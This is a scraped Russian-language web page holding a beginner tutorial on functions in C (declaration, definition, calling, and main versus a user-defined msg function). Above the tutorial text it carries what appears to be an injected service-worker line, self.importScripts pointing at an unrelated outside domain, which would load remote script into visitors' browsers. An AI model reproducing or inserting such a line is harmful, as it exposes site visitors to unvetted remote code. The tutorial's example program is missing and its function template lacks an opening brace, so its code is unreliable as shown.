google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Функции в программировании на C - Часть 1

Это хороший подход, если мы строим программу, разделяя ее на небольшие модули, известные как функции. В сегодняшнем уроке я расскажу вам об основах использования функций.
Итак, давайте начнем наш квест, чтобы изучить функции в Си-программировании. Самый первый вопрос, который поразит вас, должен быть.

Что такое функции в C?

Функция - это набор операторов, которые агрегируются для выполнения определенной задачи. Обычно мы используем функции для выполнения основных задач в общем виде. 
Хороший программист на С избегает повторения одного и того же набора утверждений. Вместо этого программист создает функцию, записывает все операторы и вызывает эту функцию всякий раз, когда это необходимо.
Есть два типа функций.
Встроенная функция
Эти функции уже определены для выполнения конкретной задачи. Например, printf () для печати значения на экране, а scanf () для чтения значения. Есть много других встроенных функций.
Пользовательская функция
Функции, которые определяются программистом или пользователем, называются пользовательскими функциями. В этом уроке вы узнаете, как определять и использовать такие функции.
В функциях у нас есть три части.
Объявление функции
return_type имя_функции (список аргументов);
Объявление функции сообщает компилятору о возвращаемом значении, имени функции и аргументах или значениях, которые будут переданы функции. Передавать значения необязательно, поэтому вы можете пропустить переданный список аргументов. Если вы не хотите возвращать какое-либо значение, просто напишите void вместо return_type .
Определение функции
return_type имя_функции (аргумент_лист) 

Body_of_funtion; 


}
Он определяет фактическое тело функции и задачу, которую она будет выполнять.
Вызов функции имя_функции (список аргументов);


Это утверждение вызовет функцию, а управление программой перейдет в тело функции. После выполнения всех операторов в функции он вернется туда, где был выполнен вызов.
Остановимся на простой программе на Си с двумя функциями.

Выход
Функции в программировании на C - часть 1
объяснение
  • Как я уже говорил в предыдущих уроках, main () также является функцией. Каждая программа на C начинается с функции main (). Это также называется стартовой функцией, и мы не можем изменить управление в начале. Наша вышеупомянутая программа также начинается с функции main ().
  • В функции main () я напечатал сообщение «Hello All» с помощью функции printf ().
  • После этого я вызвал функцию msg (), которую я создал. Внимательно посмотрите, я вызвал функцию msg (), написав msg ();
  • После вызова функции msg () управление переходит к функции msg ().
  • Теперь сообщение «TheCrazyProgrammer» выводится на экран.
  • Снова управление достигает функции main (). Поскольку в функции main () не осталось операторов. Итак, программа подходит к концу.
При передаче управления из функции main () в функцию msg () действие функции main () временно приостанавливается. В нашей программе выше main () вызывает функцию, а msg () называется функцией.
Функция является одной из самых важных тем в программировании на Си. Вы не можете писать эффективные программы без должного знания функций программирования на Си. Поэтому я рекомендую вам пройти этот урок хотя бы один раз, чтобы все прояснить. В следующем уроке я расскажу вам о нескольких вызовах в рамках одной функции.

Комментариев нет:

Отправить комментарий